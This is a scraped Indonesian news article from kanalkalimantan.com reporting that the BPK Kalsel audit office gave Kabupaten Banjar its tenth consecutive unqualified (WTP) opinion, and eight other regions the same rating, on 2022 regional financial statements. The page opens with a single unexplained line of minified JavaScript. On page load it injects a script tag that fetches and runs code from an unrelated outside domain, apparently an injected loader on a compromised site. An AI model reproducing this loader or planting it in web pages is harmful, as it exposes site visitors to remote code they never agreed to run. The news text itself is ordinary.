(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa Keuangan (BPK) RI Perwakilan Kalsel terhadap Laporan Hasil Pemeriksaan (LHP) LKPD 2022 Pemerintah Kabupaten Banjar merupakan Opini WTP kali kesepuluh yang diraih Pemkab Banjar.
Wakil Bupati Banjar Habib Idrus Al Habsyie menerima langsung LHP tersebut dari Kepala BPK RI Perwakilan Kalsel, Rahmadi, di Kantor BPK RI setempat, Banjarbaru, Selasa (9/5/2023) siang.
Selain Pemkab Banjar, 8 daerah lainnya yang juga raih opini serupa, yakni Pemko Banjarmasin, Pemkab Tapin, Hulu Sungai Tengah, Hulu Sungai Utara, Balangan, Tanahlaut, Tanahbumbu dan Kotabaru.
“Hasil pemeriksaan yang telah kami lakukan mengacu sejumlah kriteria disimpulkan opini atas LKPD 2022 pada 9 pemkab dan pemko meraih predikat WTP,” ujar Kepala BPK RI Perwakilan Kalsel, Rahmadi.
Baca juga: Delapan Tahun Anggaran Pemko Banjarbaru Diberi WTP oleh BPK RI
Menurut dia, LHP diserahkan kepada pimpinan DPRD dan kepala daerah dua laporan, yakni LHP atas Laporan Keuangan 2022 dan LHP atas SPI dan kepatuhan terhadap aturan perundang-undangan.
Disebutkan, pemeriksaan LKPD 2022 sesuai Undang Undang Nomor 15 tahun 2004 dan UU Nomor 15 tahun 2016 dengan memperhatikan kriteria kesesuaian mengacu Standar Akuntansi Pemerintahan (SAP).
Kemudian, kriteria kecukupan pengungkapan, efektifitas sistem pengendalian intern dan kepatuhan pada aturan perundang-undangan sebelum hasil akhirnya disimpulkan opini diberikan dengan predikat WTP.
“Berdasar hasil pemeriksaan sesuai kriteria itu, kami simpulkan LKPD 9 kabupaten kota telah disajikan secara wajar, sesuai SAP dan prinsip akuntansi sehingga diberikan status WTP,” ucap dia.
Dia mengatakan, meski meraih opini WTP, tetapi BPK Kalsel masih menemukan beberapa permasalahan harus jadi perhatian namun tidak memengaruhi keseluruhan kewajaran penyajian laporan keuangan 9 daerah dimaksud. Rekomendasi dilakukan 60 hari setelah LHP diterima.
Baca juga: Pemkab Kapuas Apresiasi Program Penukaran Uang Baru dari BI
Wabup Banjar, Habib Idrus Al Habsyie mengucap syukur karena Pemkab Banjar telah berhasil meraih opini WTP sepuluh kali berturut-turut.
“Alhamdulillah, ini berkat dukungan semua pihak dan kami siap menindaklanjuti rekomendasi yang disampaikan,” ujar Habib Idrus. (kanalkalimantan.com/diskominfobanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.